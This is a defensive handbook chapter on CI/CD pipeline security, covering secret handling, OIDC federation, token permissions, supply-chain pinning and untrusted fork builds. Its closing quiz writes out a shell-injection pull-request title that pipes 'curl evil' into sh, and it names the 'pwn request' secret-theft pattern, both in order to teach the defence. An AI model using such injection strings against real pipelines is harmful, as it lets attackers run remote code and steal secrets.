Handbooks / CI/CD & DevOps / Chapter 6
Secrets and Pipeline Security
7 pages · ~5 min✓ Reviewed
Builds on Configuration and Environment Parity. Next up: Infrastructure as Code.
Secrets and the Pipeline Threat Model
1. Threat model
- A pipeline runs code with credentials
- Whoever can change what it runs can steal what it can reach
2. Where secrets live
- Secret store (Vault, AWS Secrets Manager, GCP Secret Manager): central, with access policy, audit log, rotation
- CI variable (GitHub Actions secrets, GitLab masked variables): encrypted at rest, injected as an env var
- Log masking hides only the exact string
- Job startsidentity
- Fetchat runtime
- Usein memory
| CI variable | Secret store | |
|---|---|---|
| Control | copied per repo | central |
| Rotation | none | automatic |
| Audit | none | full log |
| Lifetime | long-lived | short TTL, dynamic |
3. Never leak
echoa secret to the log- Bake it into an image or artifact
- Pass it in command-line args
- Trust masking: base64 or split values bypass it
Masking matches the exact string only. A transformed value prints in clear.
OIDC Federation Instead of Long-Lived Keys
1. Why OIDC
- Static cloud keys in CI never expire
- They leak through logs and forks
- Rotation is manual
- OIDC: no stored key, only short-lived credentials
2. Mechanism and Claims
- CI jobsigned JWT per job
- Cloud verifiesprovider public keys
- Trust policymatches claims
- Temp credsshort-lived
| Claim | Trust it for |
|---|---|
iss | Which provider issued it |
aud | Intended audience (cloud) |
sub | Repo plus branch or environment |
ref, workflow | Branch and workflow file |
3. AWS Example
- IAM role trusts
token.actions.githubusercontent.com - Condition:
sub=repo:org/app:environment:prod
Runners, Branches and Environments
1. Token and runners
- Set permissions: contents: read at the top of the workflow
- Grant write scopes only on the one job that needs them
permissions:
contents: read
jobs:
release:
permissions:
contents: write| Hosted | Self-hosted | |
|---|---|---|
| State | Ephemeral, clean per job | Persists between jobs |
| Network | Outside yours | Inside your network |
| Use for | Default | Trusted private repos, ephemeral or just-in-time |
2. Gates before prod
- Protected branch: PR review, passing status checks, signed commits, no force pushes
- Protected environment (prod): required reviewers, branch restrictions
- Secrets are environment-scoped, not repo-wide
- Reviewed PRchecks pass
- Deploy branchallowed only
- Approvalreviewers
- Prod secretsjob gets them
Supply-Chain Security: Pinning, SBOM and Sigstore
1. Risks and Pinning
- Risks: compromised dependency, typosquatting, dependency confusion
- Also: tampered action or image, poisoned build output
- Commit lockfiles with hashes:
npm ci,pip install --require-hashes - Pin actions to a full commit SHA, images to a digest
- Never a mutable tag:
@v3,:latest
2. SBOM and Sigstore
- SBOM (SPDX or CycloneDX): machine-readable inventory of every component
- Keyless
cosignsigning uses an OIDC identity; signature goes to the Rekor log
syft app:1.0 -o spdx-json > sbom.json grype sbom:sbom.json cosign sign reg/app@sha256:abc cosign verify reg/app@sha256:abc \ --certificate-identity ID \ --certificate-oidc-issuer URL
syft lists, grype finds vulnerable versions, verify before deploy
- Build
- SBOMsyft
- Signcosign
- Verifybefore deploy
3. Three Proofs
Untrusted Pull Request Builds
1. Fork PR Triggers
- Fork PR code is untrusted: it can edit the workflow, scripts and tests
- Running it with secrets = remote code execution
pull_request (fork) | pull_request_target | |
|---|---|---|
| Context | PR code | Base repo |
| Secrets | None | Yes |
| Token | Read-only | Write |
- Pwn request:
pull_request_target+actions/checkoutof PR head + running its code - Attacker gets your secrets and write token
2. Safe Pattern
- pull_requestbuild and test, no secrets
- Artifactresults only
- workflow_runtrusted: comment or deploy
- Require maintainer approval for first-time contributors
Pipeline Security Cheat Sheet
1. Secrets and OIDC
- Keep secrets in a secret store, scoped per environment
- Prefer short-lived or dynamic secrets
- Never print them; rotate on leak
- Job needs
permissions: id-token: write - Trust policy pinned to repo + branch or environment
- Check
aud; use no static cloud keys
2. Hardening and Supply Chain
permissions:
contents: read
jobs:
deploy:
permissions:
id-token: write
contents: readread-only by default, widen per job
- Ephemeral runners
- Protected branches: reviews, checks, no force push
- Protected environments with reviewers
| Control | Do |
|---|---|
| Dependencies | Lockfile with hashes |
| Actions / images | Pin by SHA / digest |
| Inventory | syft SBOM, grype scan |
Check yourself
A role trust policy has sub = repo:org/*. Who can assume the role?
- Any repo and any branch in the org, not just the deploy job.
- Pin repo plus branch or environment, and check
aud.
A pull_request_target workflow checks out the PR head and runs npm test. What goes wrong?
- The PR's edited tests run with your secrets and write token.
- Use a no-secret
pull_requestbuild, then a trustedworkflow_runjob.
A step has run: echo "${{ github.event.pull_request.title }}". What is the bug?
- A title like
"; curl evil | sh #becomes shell code. - Pass it via
env:and quote the variable.